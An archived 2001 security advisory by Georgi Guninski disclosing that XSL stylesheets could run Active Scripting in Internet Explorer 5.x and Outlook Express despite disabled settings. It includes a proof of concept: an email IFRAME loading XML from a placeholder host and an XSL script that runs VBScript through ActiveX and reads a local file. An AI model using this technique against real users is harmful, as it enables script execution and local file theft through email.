XML scripting in IE, Outlook Express

From: Georgi Guninski (guninskiat_private)
Date: Fri Apr 20 2001 - 04:39:48 PDT

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    Georgi Guninski security advisory #43, 2001
    
    XML scripting in IE, Outlook Express
    
    Systems affected:
    Internet Explorer 5.x - including full patched up to now though
    Microsoft cannot
    reproduce the problem on fully patched IE 5.x ,Outlook Express (probably
    Outlook have not tested)
    
    Risk: High
    Date: 20 April 2001
    
    Legal Notice:
    This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute
    it unmodified.
    You may not modify it and distribute it or distribute parts of it
    without the author's
    written permission.
    
    Disclaimer:
    The information in this advisory is believed to be true based on
    experiments though it may be false.
    The opinions expressed in this advisory and program are my own and not
    of any company.
    The usual standard disclaimer applies, especially the fact that Georgi
    Guninski
    is not liable for any damages caused by direct or  indirect use of the
    information
    or functionality provided by this advisory or program.
    Georgi Guninski bears no responsibility for content or misuse of this
    advisory or program or
    any derivatives thereof.
    
    
    Background:
    We have some disagreement with Microsoft whether this works on fully
    patched IE 5.x.
    I believe I am running fully patched IE according to the rules for
    patching in
    Microsoft's security bulletins.
    The problem seems to be the version of WSH which is described in
    MS-01-015 at:
    http://www.microsoft.com/technet/security/bulletin/ms01-015.asp
    To check whether you are vulnerable check DEMONSTRATION.
    
    Description:
    
    It is possible to execute Active Scripting with the help of XML and XSL
    even if
    Active Scripting is disabled in all security zones. This is especially
    dangerous in
    email messages. Though this is not typical exploit itself, it may be
    used in other
    exploits especially in email.
    
    Details:
    
    The problem are xml stylesheets which may contain Active Scripting and
    they are executed
    regardless of the settings for Active Scripting in IE/Outlook Express.
    Below is a demonstration which executes Active Scripting which contains
    the demo from
    my advisory #41.
    When xstyle.eml is viewed with IE or OE the Active Script in it is
    executed regardless of
    user's settings.
    
    --xstyle.eml--------------------------------------------------------------
    ....
    <IFRAME SRC="http://SOMEHOST/xstyle.xml"></IFRAME>
    ....
    --------------------------------------------------------------------------
    
    --xstyle.xml--------------------------------------------------------------
    <?xml version="1.0"?>
    <?xml-stylesheet type="text/xsl" href="xstyle.xsl" ?>
    <doc>
    style
    </doc>
    --------------------------------------------------------------------------
    
    --xstyle.xsl--------------------------------------------------------------
    <xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">
    <xsl:script>
    <![CDATA[
    a=new ActiveXObject('htmlfile');
    a.open();
    a.write("<html><body>gg</body></html>");
    a.close();
    v=new ActiveXObject("MSScriptControl.ScriptControl.1");
    v.Language="VBScript";
    v.eval('MsgBox ("This is VBSCRIPT",65,"This is VBSCRIPT")');
    x=v.eval('GetObject("C:/test.txt","htmlfile")');
    v.eval('MsgBox ("Hi",65,"Hi")');
    a.location="about:Here is your file <BR>"+x.body.innerHTML;
    ]]>
    </xsl:script>
    </xsl:stylesheet>
    --------------------------------------------------------------------------
    
    Workaround: I do not know of workaround but Microsoft claims updating
    WSH solves the issue.
    
    Demonstration:
    http://www.guninski.com/xstyle.eml - disable Active Scripting and if you
    see any
    message box you are vulnerable.
    
    Vendor status:
    Microsoft was informed on 18 April 2001
    
    Regards,
    Georgi Guninski
    http://www.guninski.com
    



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